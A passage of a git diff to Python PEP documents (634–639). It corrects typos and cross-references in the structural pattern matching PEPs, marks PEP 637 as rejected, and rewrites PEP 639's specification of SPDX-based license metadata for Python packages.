``Py_TPFLAGS_SEQUENCE`` +bit set: + +- ``array.array`` +- ``collections.deque`` +- ``list`` +- ``memoryview`` +- ``range`` +- ``tuple`` + +.. note:: + + Although ``str``, ``bytes``, and ``bytearray`` are usually + considered sequences, they are not included in the above list and do + not match sequence patterns. A fixed-length sequence pattern fails if the length of the subject sequence is not equal to the number of subpatterns. @@ -381,7 +402,7 @@ subpatterns succeed in matching their corresponding item, the sequence pattern succeeds. A variable-length sequence pattern first matches the leading non-star -subpatterns to the curresponding items of the subject sequence, as for +subpatterns to the corresponding items of the subject sequence, as for a fixed-length sequence. If this succeeds, the star subpattern matches a list formed of the remaining subject items, with items removed from the end corresponding to the non-star subpatterns @@ -414,8 +435,17 @@ A mapping pattern may not contain duplicate key values. syntax error; otherwise this is a runtime error and will raise ``ValueError``.) -A mapping pattern fails if the subject value is not an instance of -``collections.abc.Mapping``. +For a mapping pattern to succeed the subject must be a mapping, +where being a mapping is defined as its class being one of the following: + +- a class that inherits from ``collections.abc.Mapping`` +- a Python class that has been registered as a ``collections.abc.Mapping`` +- a builtin class that has its ``Py_TPFLAGS_MAPPING`` bit set +- a class that inherits from any of the above (including classes defined *before* a + parent's ``Mapping`` registration) + +The standard library classes ``dict`` and ``mappingproxy`` will have their ``Py_TPFLAGS_MAPPING`` +bit set. A mapping pattern succeeds if every key given in the mapping pattern is present in the subject mapping, and the pattern for @@ -489,13 +519,13 @@ as follows: - For a number of built-in types (specified below), a single positional subpattern is accepted which will match - the entire subject; for these types no keyword patterns are accepted. + the entire subject. (Keyword patterns work as for other types here.) - The equivalent of ``getattr(cls, "__match_args__", ()))`` is called. - If this raises an exception the exception bubbles up. -- If the returned value is not a list or tuple, the conversion fails +- If the returned value is not a tuple, the conversion fails and ``TypeError`` is raised. - If there are more positional patterns than the length of - ``__match_args__``` (as obtained using ``len()``), ``TypeError`` is raised. + ``__match_args__`` (as obtained using ``len()``), ``TypeError`` is raised. - Otherwise, positional pattern ``i`` is converted to a keyword pattern using ``__match_args__[i]`` as the keyword, provided it the latter is a string; @@ -513,7 +543,7 @@ positional subpatterns is different: This behavior is roughly equivalent to the following:: class C: - __match_args__ = ["__match_self_prop__"] + __match_args__ = ("__match_self_prop__",) @property def __match_self_prop__(self): return self diff --git a/pep-0635.rst b/pep-0635.rst index cb0e1e37d7e..f038c565b12 100644 --- a/pep-0635.rst +++ b/pep-0635.rst @@ -5,7 +5,7 @@ Last-Modified: $Date$ Author: Tobias Kohn , Guido van Rossum BDFL-Delegate: -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Final Type: Informational Content-Type: text/x-rst @@ -18,9 +18,9 @@ Resolution: https://mail.python.org/archives/list/python-committers@python.org/m Abstract ======== -This PEP provides the motivation and rationale for PEP 634 +This PEP provides the motivation and rationale for :pep:`634` ("Structural Pattern Matching: Specification"). First-time readers -are encouraged to start with PEP 636, which provides a gentler +are encouraged to start with :pep:`636`, which provides a gentler introduction to the concepts, syntax and semantics of patterns. @@ -97,8 +97,8 @@ but also on the value of some class attributes, like the ``BinOp`` example above. The Visitor pattern is insufficiently flexible for this: it can only select based on the class. -For a complete example, see -https://github.com/gvanrossum/patma/blob/master/examples/expr.py#L231 +See a `complete example +`_. Like the Visitor pattern, pattern matching allows for a strict separation of concerns: specific actions or data processing is independent of the @@ -155,7 +155,7 @@ Rationale This section provides the rationale for individual design decisions. It takes the place of "Rejected ideas" in the standard PEP format. -It is organized in sections corresponding to the specification (PEP 634). +It is organized in sections corresponding to the specification (:pep:`634`). Overview and Terminology @@ -775,7 +775,7 @@ ultimate "wildcard", it does not convey the desired semantics. An alternative that does not suggest an arbitrary number of items would be ``?``. This is even being proposed independently from -pattern matching in PEP 640. We feel however that using ``?`` as a +pattern matching in :pep:`640`. We feel however that using ``?`` as a special "assignment" target is likely more confusing to Python users than using ``_``. It violates Python's (admittedly vague) principle of using punctuation characters only in ways similar to how they are @@ -790,7 +790,7 @@ globbing, "maybe" in regular expressions, "conditional expression" in C and many C-derived languages, "predicate function" in Scheme, "modify error handling" in Rust, "optional argument" and "optional chaining" in TypeScript (the latter meaning has also been proposed for -Python by PEP 505). An as yet unnamed PEP proposes it to mark +Python by :pep:`505`). An as yet unnamed PEP proposes it to mark optional types, e.g. ``int?``. Another common use of ``?`` in programming systems is "help", for @@ -1148,7 +1148,7 @@ Using modern syntax, a depth-first tree traversal would then be written as follows:: def traverse(node): - node match: + match node: case Node(left, right): traverse(left) traverse(right) @@ -1235,7 +1235,7 @@ an instance of ``Node`` but only extract the value of the ``right`` attribute. Backwards Compatibility ======================= -Through its use of "soft keywords" and the new PEG parser (PEP 617), +Through its use of "soft keywords" and the new PEG parser (:pep:`617`), the proposal remains fully backwards compatible. However, 3rd party tooling that uses a LL(1) parser to parse Python source code may be forced to switch parser technology to be able to support those same diff --git a/pep-0636.rst b/pep-0636.rst index 18988842d89..a28f6fdb740 100644 --- a/pep-0636.rst +++ b/pep-0636.rst @@ -5,7 +5,7 @@ Last-Modified: $Date$ Author: Daniel F Moisset Sponsor: Guido van Rossum BDFL-Delegate: -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Final Type: Informational Content-Type: text/x-rst @@ -18,16 +18,16 @@ Resolution: https://mail.python.org/archives/list/python-committers@python.org/m Abstract ======== -This PEP is a tutorial for the pattern matching introduced by PEP 634. +This PEP is a tutorial for the pattern matching introduced by :pep:`634`. -PEP 622 proposed syntax for pattern matching, which received detailed discussion +:pep:`622` proposed syntax for pattern matching, which received detailed discussion both from the community and the Steering Council. A frequent concern was about how easy it would be to explain (and learn) this feature. This PEP addresses that concern providing the kind of document which developers could use to learn about pattern matching in Python. -This is considered supporting material for PEP 634 (the technical specification -for pattern matching) and PEP 635 (the motivation and rationale for having pattern +This is considered supporting material for :pep:`634` (the technical specification +for pattern matching) and :pep:`635` (the motivation and rationale for having pattern matching and design considerations). For readers who are looking more for a quick review than for a tutorial, @@ -187,7 +187,7 @@ Composing patterns This is a good moment to step back from the examples and understand how the patterns that you have been using are built. Patterns can be nested within each other, and we -have being doing that implicitly in the examples above. +have been doing that implicitly in the examples above. There are some "simple" patterns ("simple" here meaning that they do not contain other patterns) that we've seen: @@ -211,7 +211,7 @@ Or patterns Going back to the adventure game example, you may find that you'd like to have several patterns resulting in the same outcome. For example, you might want the commands -``north`` and ``go north`` be equivalent. You may also desire to have aliases for +``north`` and ``go north`` to be equivalent. You may also desire to have aliases for ``get X``, ``pick up X`` and ``pick X up`` for any X. The ``|`` symbol in patterns combines them as alternatives. You could for example write:: @@ -253,7 +253,7 @@ version without "go" for brevity):: This code is a single branch, and it verifies that the word after "go" is really a direction. But the code moving the player around needs to know which one was chosen and has no way to do so. What we need is a pattern that behaves like the or pattern but at -the same time does a capture. We can do so with a **as pattern**:: +the same time does a capture. We can do so with an **as pattern**:: match command.split(): case ["go", ("north" | "south" | "east" | "west") as direction]: @@ -317,7 +317,7 @@ different kinds of objects, and also apply patterns to its attributes:: raise ValueError(f"Unrecognized event: {other_event}") A pattern like ``Click(position=(x, y))`` only matches if the type of the event is -a subclass of the ``Click`` class. It will also requires that the event has a ``position`` +a subclass of the ``Click`` class. It will also require that the event has a ``position`` attribute that matches the ``(x, y)`` pattern. If there's a match, the locals ``x`` and ``y`` will get the expected values. @@ -358,8 +358,10 @@ to manually specify the ordering of the attributes allowing positional matching, this alternative definition:: class Click: - __match_args__ = ["position", "button"] - def __init__(self, position, button): + __match_args__ = ("position", "button") + def __init__(self, pos, btn): + self.position = pos + self.button = btn ... The ``__match_args__`` special attribute defines an explicit order for your attributes @@ -396,7 +398,7 @@ each element looking for example like these: * ``{"text": "The shop keeper says 'Ah! We have Camembert, yes sir'", "color": "blue"}`` * If the client should make a pause ``{"sleep": 3}`` -* To play a sound ``{"sound": "filename.ogg", format: "ogg"}`` +* To play a sound ``{"sound": "filename.ogg", "format": "ogg"}`` Until now, our patterns have processed sequences, but there are patterns to match mappings based on their present keys. In this case you could use:: @@ -433,7 +435,7 @@ Any class is a valid match target, and that includes built-in classes like ``boo ``str`` or ``int``. That allows us to combine the code above with a class pattern. So instead of writing ``{"text": message, "color": c}`` we can use ``{"text": str() as message, "color": str() as c}`` to ensure that ``message`` and ``c`` -are both strings. For many builtin classes (see PEP-634 for the whole list), you can +are both strings. For many builtin classes (see :pep:`634` for the whole list), you can use a positional parameter as a shorthand, writing ``str(c)`` rather than ``str() as c``. The fully rewritten version looks like this:: @@ -509,6 +511,9 @@ If you are using classes to structure your data you can use the class name followed by an argument list resembling a constructor, but with the ability to capture attributes into variables:: + from dataclasses import dataclass + + @dataclass class Point: x: int y: int @@ -578,7 +583,7 @@ Several other key features: - Mapping patterns: ``{"bandwidth": b, "latency": l}`` captures the ``"bandwidth"`` and ``"latency"`` values from a dict. Unlike sequence patterns, extra keys are ignored. A wildcard ``**rest`` is also - supported. (But ``**_`` would be redundant, so it not allowed.) + supported. (But ``**_`` would be redundant, so it is not allowed.) - Subpatterns may be captured using the ``as`` keyword:: diff --git a/pep-0637.rst b/pep-0637.rst index 0fc56cd752d..100fe9f7821 100644 --- a/pep-0637.rst +++ b/pep-0637.rst @@ -5,13 +5,19 @@ Last-Modified: $Date$ Author: Stefano Borini Sponsor: Steven D'Aprano Discussions-To: python-ideas@python.org -Status: Draft +Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 24-Aug-2020 Python-Version: 3.10 Post-History: 23-Sep-2020 -Resolution: +Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/6TAQ2BEVSJNV4JM2RJYSSYFJUT3INGZD/ + + +.. note:: + This PEP has been rejected. In general, the cost of introducing new syntax + was not outweighed by the perceived benefits. See the link in the Resolution + header field for details. Abstract ======== @@ -36,7 +42,7 @@ arguments is also provided:: >>> val = x[*(1, 2), **{a=3, b=4}] # Equivalent to above. -This PEP is a successor to PEP 472, which was rejected due to lack of +This PEP is a successor to :pep:`472`, which was rejected due to lack of interest in 2019. Since then there's been renewed interest in the feature. Overview @@ -45,7 +51,7 @@ Overview Background ---------- -PEP 472 was opened in 2014. The PEP detailed various use cases and was created by +:pep:`472` was opened in 2014. The PEP detailed various use cases and was created by extracting implementation strategies from a broad discussion on the python-ideas mailing list, although no clear consensus was reached on which strategy should be used. Many corner cases have been examined more closely and felt @@ -54,7 +60,7 @@ awkward, backward incompatible or both. The PEP was eventually rejected in 2019 [#rejection]_ mostly due to lack of interest for the feature despite its 5 years of existence. -However, with the introduction of type hints in PEP 484 [#pep-0484]_ the +However, with the introduction of type hints in :pep:`484` the square bracket notation has been used consistently to enrich the typing annotations, e.g. to specify a list of integers as Sequence[int]. Additionally, there has been an expanded growth of packages for data analysis such as pandas @@ -154,7 +160,7 @@ specification would improve notation and provide additional value: >>> # The call is now shorter, more mnemonic, and looks+works like typing >>> trio.run[name="func"](func, value1, param2=value2) -7. Availability of star arguments would benefit PEP-646 Variadic Generics [#pep-0646]_, +7. Availability of star arguments would benefit :pep:`646` Variadic Generics, especially in the forms ``a[*x]`` and ``a[*x, *y, p, q, *z]``. The PEP details exactly this notation in its "Unpacking: Star Operator" section. @@ -474,7 +480,7 @@ The successful implementation of this PEP will result in the following behavior: obj[] # Invalid. 12. The same semantics given above must be extended to ``__class__getitem__``: - Since PEP 560, type hints are dispatched so that for ``x[y]``, if no + Since :pep:`560`, type hints are dispatched so that for ``x[y]``, if no ``__getitem__`` method is found, and ``x`` is a type (class) object, and ``x`` has a class method ``__class_getitem__``, that method is called. The same changes should be applied to this method as well, @@ -683,9 +689,9 @@ A reference implementation is currently being developed here [#reference-impl]_. Workarounds =========== -Every PEP that changes the Python language should "clearly explain why +Every PEP that changes the Python language should :pep:`"clearly explain why the existing language specification is inadequate to address the -problem that the PEP solves." [#pep-0001]_ +problem that the PEP solves" <1#what-belongs-in-a-successful-pep>`. Some rough equivalents to the proposed extension, which we call work-arounds, are already possible. The work-arounds provide an alternative to enabling the @@ -749,7 +755,7 @@ Rejected Ideas Previous PEP 472 solutions -------------------------- -PEP 472 presents a good amount of ideas that are now all to be considered +:pep:`472` presents a good amount of ideas that are now all to be considered Rejected. A personal email from D'Aprano to the author specifically said: I have now carefully read through PEP 472 in full, and I am afraid I @@ -759,7 +765,7 @@ We agree that those options are inferior to the currently presented, for one reason or another. To keep this document compact, we will not present here the objections for -all options presented in PEP 472. Suffice to say that they were discussed, +all options presented in :pep:`472`. Suffice to say that they were discussed, and each proposed alternative had one or few dealbreakers. Adding new dunders @@ -836,7 +842,7 @@ Has problems similar to the above. create a new "kwslice" object ----------------------------- -This proposal has already been explored in "New arguments contents" P4 in PEP 472:: +This proposal has already been explored in "New arguments contents" P4 in :pep:`472`:: obj[a, b:c, x=1] # calls type(obj).__getitem__(obj, a, slice(b, c), key(x=1)) @@ -956,7 +962,7 @@ expecting a call like:: type(obj).__setitem__(obj, SENTINEL, 0, **{"value": 1}) -will instead accidentally be catched by the named ``value``, producing a +will instead accidentally be caught by the named ``value``, producing a ``duplicate value error``. The user should not be worried about the actual local names of those two arguments if they are, for all practical purposes, positional only. Unfortunately, using positional-only values will ensure this @@ -1090,18 +1096,12 @@ References .. [#rejection] "Rejection of PEP 472" (https://mail.python.org/pipermail/python-dev/2019-March/156693.html) -.. [#pep-0484] "PEP 484 -- Type hints" - (https://www.python.org/dev/peps/pep-0484) .. [#request-1] "Allow kwargs in __{get|set|del}item__" (https://mail.python.org/archives/list/python-ideas@python.org/thread/EUGDRTRFIY36K4RM3QRR52CKCI7MIR2M/) .. [#request-2] "PEP 472 -- Support for indexing with keyword arguments" (https://mail.python.org/archives/list/python-ideas@python.org/thread/6OGAFDWCXT5QVV23OZWKBY4TXGZBVYZS/) -.. [#pep-0001] "PEP 1 -- PEP Purpose and Guidelines" - (https://www.python.org/dev/peps/pep-0001/#what-belongs-in-a-successful-pep) .. [#trio-run] "trio.run() should take \*\*kwargs in addition to \*args" (https://github.com/python-trio/trio/issues/470) -.. [#pep-0646] "PEP 646 -- Variadic Generics" - (https://www.python.org/dev/peps/pep-0646) .. [#numpy-ml] "[Numpy-discussion] Request for comments on PEP 637 - Support for indexing with keyword arguments" (http://numpy-discussion.10968.n7.nabble.com/Request-for-comments-on-PEP-637-Support-for-indexing-with-keyword-arguments-td48489.html) .. [#reference-impl] "Reference implementation" diff --git a/pep-0638.rst b/pep-0638.rst index 2e18842480a..7498d3200e5 100644 --- a/pep-0638.rst +++ b/pep-0638.rst @@ -1,10 +1,12 @@ PEP: 638 Title: Syntactic Macros Author: Mark Shannon +Discussions-To: https://mail.python.org/archives/list/python-dev@python.org/thread/U4C4XHNRC4SHS3TPZWCTY4SN4QU3TT6V/ Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 24-Sep-2020 +Post-History: 26-Sep-2020 Abstract ======== @@ -169,7 +171,7 @@ Compilation Upon encountering a ``macro`` during translation to bytecode, the code generator will look up the macro processor registered for the macro, -and pass the AST, rooted at the macro to the processor function. +and pass the AST rooted at the macro to the processor function. The returned AST will then be substituted for the original tree. For macros with multiple names, @@ -219,14 +221,14 @@ Defining macro processors ~~~~~~~~~~~~~~~~~~~~~~~~~ A macro processor is defined by a four-tuple, consisting of -``(func, kind, version, additional_names)`` +``(func, kind, version, additional_names)``: * ``func`` must be a callable that takes ``len(additional_names)+1`` arguments, all of which are abstract syntax trees, and returns a single abstract syntax tree. * ``kind`` must be one of the following: - * ``macros.STMT_MACRO`` A statement macro where the body of the macro is indented. This is the only form allowed to have additional names. - * ``macros.SIBLING_MACRO`` A statement macro where the body of the macro is the next statement is the same block. The following statement is moved into the macro as its body. - * ``macros.EXPR_MACRO`` An expression macro. + * ``macros.STMT_MACRO``: A statement macro where the body of the macro is indented. This is the only form allowed to have additional names. + * ``macros.SIBLING_MACRO``: A statement macro where the body of the macro is the next statement in the same block. The following statement is moved into the macro as its body. + * ``macros.EXPR_MACRO``: An expression macro. * ``version`` is used to track versions of macros, so that generated bytecodes can be correctly cached. It must be an integer. * ``additional_names`` are the names of the additional parts of the macro, and must be a tuple of strings. @@ -278,22 +280,19 @@ Two new AST nodes will be needed to express macros, ``macro_stmt`` and ``macro_e :: class macro_stmt(_ast.stmt): - _fields = "name", "args", "importname", "asname", "body" class macro_expr(_ast.expr): - _fields = "name", "args" -In addition, macro processors will needs a means to express control flow or side-effecting code, that produces a value. -To support this, a new ast node, called ``stmt_expr``, that combines a statement and expression will be added. +In addition, macro processors will need a means to express control flow or side-effecting code, that produces a value. +A new AST node called ``stmt_expr`` will be added, combining a statement and an expression. This new ast node will be a subtype of ``expr``, but include a statement to allow side effects. It will be compiled to bytecode by compiling the statement, then compiling the value. :: class stmt_expr(_ast.expr): - _fields = "stmt", "value" Hygiene and debugging @@ -433,7 +432,7 @@ Which could be converted to: Zero-cost markers and annotations ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Annotations, either decorators or PEP 3107 function annotations, have a runtime cost +Annotations, either decorators or :pep:`3107` function annotations, have a runtime cost even if they serve only as markers for checkers or as documentation. :: @@ -450,8 +449,8 @@ can be replaced with the zero-cost macro: def foo(...): ... -Protyping language extensions -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Prototyping language extensions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Although macros would be most valuable for domain-specific extensions, it is possible to demonstrate possible language extensions using macros. diff --git a/pep-0639.rst b/pep-0639.rst index 48cfeb7c655..39c9f693139 100644 --- a/pep-0639.rst +++ b/pep-0639.rst @@ -1,543 +1,2401 @@ PEP: 639 -Title: Metadata for Python Software Packages 2.2 -Version: $Revision$ -Last-Modified: $Date$ -Author: Philippe Ombredanne -Sponsor: Paul Moore -BDFL-Delegate: Paul Moore -Discussions-To: https://discuss.python.org/t/2154 +Title: Improving License Clarity with Better Package Metadata +Author: Philippe Ombredanne , + C.A.M. Gerlach , +Sponsor: Paul Moore +PEP-Delegate: Brett Cannon +Discussions-To: https://discuss.python.org/t/12622 Status: Draft Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 15-Aug-2019 -Python-Version: 3.x -Post-History: -Replaces: 566 -Resolution: +Post-History: `15-Aug-2019 `__, + `17-Dec-2021 `__ +.. _639-abstract: + Abstract ======== -This PEP describes the changes between versions 2.1 and 2.2 of the `Core -Metadata Specification` [#cms]_ for Python packages. Version 2.1 is specified in -PEP 566. +This PEP defines a specification for how licenses are documented in the +`core metadata `__, with +:ref:`license expression strings <639-spec-field-license-expression>` using +`SPDX identifiers `__ in a new ``License-Expression`` field. +This will make license declarations simpler and less ambiguous for +package authors to create, end users to read and understand, and +tools to programmatically process. -The primary change introduced in this PEP updates how licenses are documented in -core metadata via the ``License`` field with license expression strings using -SPDX license identifiers [#spdxlist]_ such that license documentation is simpler -and less ambiguous: +The PEP also: -- for package authors to create, -- for package users to read and understand, and, -- for tools to process package license information mechanically. +- :ref:`Formally specifies <639-spec-field-license-file>` + a new ``License-File`` field, and defines how license files should be + :ref:`included in distributions <639-spec-project-formats>`, + as already used by the Wheel and Setuptools projects. -The other changes include: +- Deprecates the legacy ``License`` :ref:`field <639-spec-field-license>` + and ``license ::`` :ref:`classifiers <639-spec-field-classifier>`. -- specifying a ``License-File`` field which is already used by ``wheel`` and - ``setuptools`` to include license files in built distributions. -- defining how tools can validate license expressions and report warnings to - users for invalid expressions (but still accept any string as ``License``). +- :ref:`Adds and deprecates <639-spec-source-metadata>` the corresponding keys + in the :pep:`621` project source metadata format. +- :ref:`Provides clear guidance <639-spec-converting-metadata>` for authors and + tools converting legacy license metadata, adding license files and + validating license expressions. -Goals -===== +- Describes a :ref:`reference implementation <639-reference-implementation>`, + analyzes numerous :ref:`potential alternatives <639-rejected-ideas>`, + includes :ref:`detailed examples <639-examples>`, + explains :ref:`user scenarios <639-user-scenarios>` and + surveys license documentation + :ref:`in Python packaging <639-license-doc-python>` and + :ref:`other ecosystems <639-license-doc-other-projects>`. -This PEP's scope is limited strictly to how we document the license of a -distribution: +The changes in this PEP will update the +:`core metadata `__ to version 2.3, modify the +`PEP 621 project metadata specification `__, +and make minor additions to the `source distribution (sdist) `__, +`built distribution (wheel) `__ and +`installed project `__ standards. -- with an improved and structured way to document a license expression, and, -- by including license texts in a built package. -The core metadata specification updates that are part of this PEP have been -designed to have minimal impact and to be backward compatible with v2.1. These -changes utilize emerging new ways to document licenses that are already in use -in some tools (e.g. by adding the ``License-File`` field already used in -``wheel`` and ``setuptools``) or by some package authors (e.g. storing an SPDX -license expression in the existing ``License`` field). +.. _639-goals: -In addition to an update to the metadata specification, this PEP contains: - -- recommendations for publishing tools on how to validate the ``License`` and - ``Classifier`` fields and report informational warnings when a package uses an - older, non-structured style of license documentation conventions. +Goals +===== -- informational appendices that contain surveys of how we document licenses - today in Python packages and elsewhere, and a reference Python library to - parse, validate and build correct license expressions. +This PEP's scope is limited to covering new mechanisms for documenting +the license of a distribution package, specifically defining: -It is the intent of the PEP authors to work closely with tool authors to -implement the recommendations for validation and warnings specified in this PEP. +- A means of specifying a SPDX license expression. +- A method of including license texts in distributions and installed projects. +The changes to the core metadata specification that this PEP requires have been +designed to minimize impact and maximize backward compatibility. +This specification builds off of existing ways to document licenses that are +already in use in popular tools (e.g. adding support to core metadata for the +``License-File`` field :ref:`already used <639-license-doc-setuptools-wheel>` +in the Wheel and Setuptools projects) and by some package authors +(e.g. storing an SPDX license expression in the existing ``License`` field). -Non-Goals -========= +In addition to these proposed changes, this PEP contains guidance for tools +handling and converting these metadata, a tutorial for package authors +covering various common use cases, detailed examples of them in use, +and a comprehensive survey of license documentation in Python and other +languages. -This PEP is neutral regarding the choice of license by any package author. +It is the intent of the PEP authors to work closely with tool maintainers to +implement the recommendations for validation and warnings specified here. -In particular, the SPDX license expression syntax proposed in this PEP provides -simpler and more expressive conventions to document accurately any kind of -license that applies to a Python package, whether it is an open source license, -a free or libre software license, a proprietary license, or a combination of -such licenses. -This PEP makes no recommendation for specific licenses and does not require the -use of specific license documentation conventions. This PEP also does not impose -any restrictions when uploading to PyPI. +.. _639-non-goals: -Instead, this PEP is intended to document common practices already in use, and -recommends that publishing tools should encourage users via informational -warnings when they do not follow this PEP's recommendations. +Non-Goals +========= -This PEP is not about license documentation in files inside packages, even -though this is a surveyed topic in the appendix. +This PEP is neutral regarding the choice of license by any particular +package author. This PEP makes no recommendation for specific licenses, +and does not require the use of a particular license documentation convention. +Rather, the SPDX license expression syntax proposed in this PEP provides a +simpler and more expressive mechanism to accurately document any kind of +license that applies to a Python package, whether it is open source, +free/libre, proprietary, or a combination of such. -Possible future PEPs --------------------- +This PEP also does not impose any additional restrictions when uploading to +PyPI, unless projects choose to make use of the new fields. -It is the intention of the authors of this PEP to consider the submission of -related but separate PEPs in the future such as: +Instead, it is intended to document best practices already in use, extend them +to use a new formally-specified and supported mechanism, and provide guidance +for packaging tools on how to hand the transition and inform users accordingly. -- make ``License`` and new ``License-File`` fields mandatory including - stricter enforcement in tools and PyPI publishing. +This PEP also is not about license documentation in files inside projects, +though this is a :ref:`surveyed topic <639-license-doc-source-files>` +in an appendix, and nor does it intend to cover cases where the source and +binary distribution packages don't have :ref:`the same licenses +<639-rejected-ideas-difference-license-source-binary>`. -- require uploads to PyPI to use only FOSS (Free and Open Source software) - licenses. +.. _639-motivation: Motivation ========== -Software is licensed, and providing accurate licensing information to Python -packages users is an important matter. Today, there are multiple places where -licenses are documented in package metadata and there are limitations to what -can be documented. This is often leading to confusion or a lack of clarity both -for package authors and package users. - -Several package authors have expressed difficulty and/or frustrations due to the -limited capabilities to express licensing in package metadata. This also applies -to Linux and BSD* distribution packagers. This has triggered several -license-related discussions and issues, in particular: - -- https://github.com/pypa/trove-classifiers/issues/17 -- https://github.com/pypa/interoperability-peps/issues/46 -- https://github.com/pypa/packaging-problems/issues/41 -- https://github.com/pypa/wheel/issues/138 -- https://github.com/pombredanne/spdx-pypi-pep/issues/1 - -On average, Python packages tend to have more ambiguous, or missing, license -information than other common application package formats (such as npm, Maven or -Gem) as can be seen in the statistics [#cdstats]_ page of the ClearlyDefined -[#cd]_ project that cover all packages from PyPI, Maven, npm and Rubygems. -ClearlyDefined is an open source project to help improve clarity of other open -source projects that is incubating at the OSI (Open Source Initiative) [#osi]_. - +All software is licensed, and providing accurate license information to Python +package users is an important matter. Today, there are multiple fields where +licenses are documented in core metadata, and there are limitations to what +can be expressed in each of them. This often leads to confusion and a lack of +clarity, both for package authors and end users. + +Many package authors have expressed difficulty and frustrations due to the +limited capabilities to express licensing in project metadata, and this +creates further trouble for Linux and BSD distribution re-packagers. +This has triggered a number of license-related discussions and issues, +including on `outdated and ambiguous PyPI classifiers `__, +`license interoperability with other ecosystems `__, +`too many confusing license metadata options `__, +`limited support for license files in the Wheel project `__, and +`the lack of clear, precise and standardized license metadata `__. + +On average, Python packages tend to have more ambiguous and missing license +information than other common ecosystems (such as npm, Maven or +Gem). This is supported by the `statistics page `__ of the +`ClearlyDefined project `__, an +`Open Source Initiative `__ incubated effort to help +improve licensing clarity of other FOSS projects, covering all packages +from PyPI, Maven, npm and Rubygems. + + +.. _639-rationale: Rationale ========= -A mini-survey of existing license metadata definitions in use in the Python -ecosystem today and documented in several other system/distro and application -package formats is provided in Appendix 2 of this PEP. +A survey of existing license metadata definitions in use in the Python +ecosystem today is provided in +:ref:`an appendix <639-license-doc-python>` of this PEP, +and license documentation in a variety of other packaging systems, +Linux distros, languages ecosystems and applications is surveyed in +:ref:`another appendix <639-license-doc-other-projects>`. There are a few takeaways from the survey: - Most package formats use a single ``License`` field. -- Many modern package formats use some form of license expression syntax to - optionally combine more than one license identifier together. SPDX and - SPDX-like syntaxes are the most popular in use. +- Many modern package systems use some form of license expression syntax to + optionally combine more than one license identifier together. + SPDX and SPDX-like syntaxes are the most popular in use. -- SPDX license identifiers are becoming a de facto way to reference common - licenses everywhere, whether or not a license expression syntax is used. +- SPDX license identifiers are becoming the de facto way to reference common + licenses everywhere, whether or not a full license expression syntax is used. - Several package formats support documenting both a license expression and the - paths of the corresponding files that contain the license text. Most free and - open source software licenses require package authors to include their full + paths of the corresponding files that contain the license text. Most Free and + Open Source Software licenses require package authors to include their full text in a distribution. These considerations have guided the design and recommendations of this PEP. -The reuse of the ``License`` field with license expressions will provide an -intuitive and more structured way to express the license of a distribution using -a well-defined syntax and well-known license identifiers. +The current license classifiers cover some common cases, and could +theoretically be extended to include the full range of current SPDX +identifiers while deprecating the many ambiguous classifiers (including some +extremely popular and particularly problematic ones, such as +``License :: OSI Approved :: BSD License``). However, this both requires a +substantial amount of effort to duplicate the SPDX license list and keep +it in sync, and is effectively a hard break in backward compatibility, +forcing a huge proportion of package authors to immediately update to new +classifiers (in most cases, with many possible choices that require closely +examining the project's license) immediately when PyPI deprecates the old ones. + +Furthermore, this only covers simple packages entirely under a single license; +it doesn't address the substantial fraction of common projects that vendor +dependencies (e.g. Setuptools), offer a choice of licenses (e.g. Packaging) +or were relicensed, adapt code from other projects or contain fonts, images, +examples, binaries or other assets under other licenses. It also requires +both authors and tools understand and implement the PyPI-specific bespoke +classifier system, rather than using short, easy to add and standardized +SPDX identifiers in a simple text field, as increasingly widely adopted by +most other packaging systems to reduce the overall burden on the ecosystem. +Finally, this does not provide as clear an indicator that a package +has adopted the new system, and should be treated accordingly. + +The use of a new ``License-Expression`` field will provide an intuitive, +structured and unambiguous way to express the license of a +package using a well-defined syntax and well-known license identifiers. +Similarly, a formally-specified ``License-File`` field offers a standardized +way to ensure that the full text of the license(s) are included with the +package when distributed, as legally required, and allows other tools consuming +the core metadata to unambiguously locate a distribution's license files. + +Over time, encouraging the use of these fields and deprecating the ambiguous, +duplicative and confusing legacy alternatives will help Python software +publishers improve the clarity, accuracy and portability of their licensing +practices, to the benefit of package authors, consumers and redistributors +alike. + + +.. _639-terminology: + +Terminology +=========== + +This PEP seeks to clearly define the terms it uses, given that some have +multiple established meanings (e.g. import vs. distribution package, +wheel *format* vs. Wheel *project*); are related and often used +interchangeably, but have critical distinctions in meaning +(e.g. :pep:`621` *key* vs. core metadata *field*); are existing concepts +that don't have formal terms/definitions (e.g. project/source metadata vs. +distribution/built metadata, build vs. publishing tools), or are new concepts +introduced here (e.g. license expression/identifier). + +This PEP also uses terms defined in the +`PyPA PyPUG Glossary `__ +(specifically *built/binary distribution*, *distribution package*, +*project* and *source distribution*), and by the `SPDX Project `__ +(*license identifier*, *license expression*). + +Terms are listed here in their full versions; +related words (``Rel:``) are in parenthesis, +including short forms (``Short:``), sub-terms (``Sub:``) and common synonyms +for the purposes of this PEP (``Syn:``). + +**Core Metadata** *(Syn: Package Metadata, Sub: Distribution Metadata)* + The `PyPA specification `__ and the set of metadata fields + it defines that describe key static attributes of distribution packages + and installed projects. + + The **distribution metadata** refers to, more specifically, the concrete form + core metadata takes when included inside a distribution archive + (``PKG-INFO`` in a sdist and ``METADATA`` in a wheel) or installed project + (``METADATA``). + +**Core Metadata Field** *(Short: Metadata Field/Field)* + A single key-value pair, or sequence of such with the same key, as defined + by the core metadata specification. Notably, *not* a :pep:`621` project + metadata format key. + +**Distribution Package** *(Sub: Package, Distribution Archive)* + (`See PyPUG `__) + In this PEP, **package** is used to refer to the abstract concept of a + distributable form of a Python project, while **distribution** more + specifically references the physical **distribution archive**. + +**License Classifier** + A `PyPI Trove classifier `__ (as originally defined in + :pep:`301`) which begins with ``License ::``, currently used to indicate + a project's license status by including it as a ``Classifier`` + in the core metadata. + +**License Expression** *(Syn: SPDX Expression)* + A string with valid `SPDX license expression syntax `__ + including any SPDX license identifiers as defined here, which describes + a project's license(s) and how they relate to one another. Examples: + ``GPL-3.0-or-later``, ``MIT AND (Apache-2.0 OR BSD-2-clause)`` + +**License Identifier** *(Syn: License ID/SPDX Identifier)* + A valid `SPDX short-form license identifier `__, 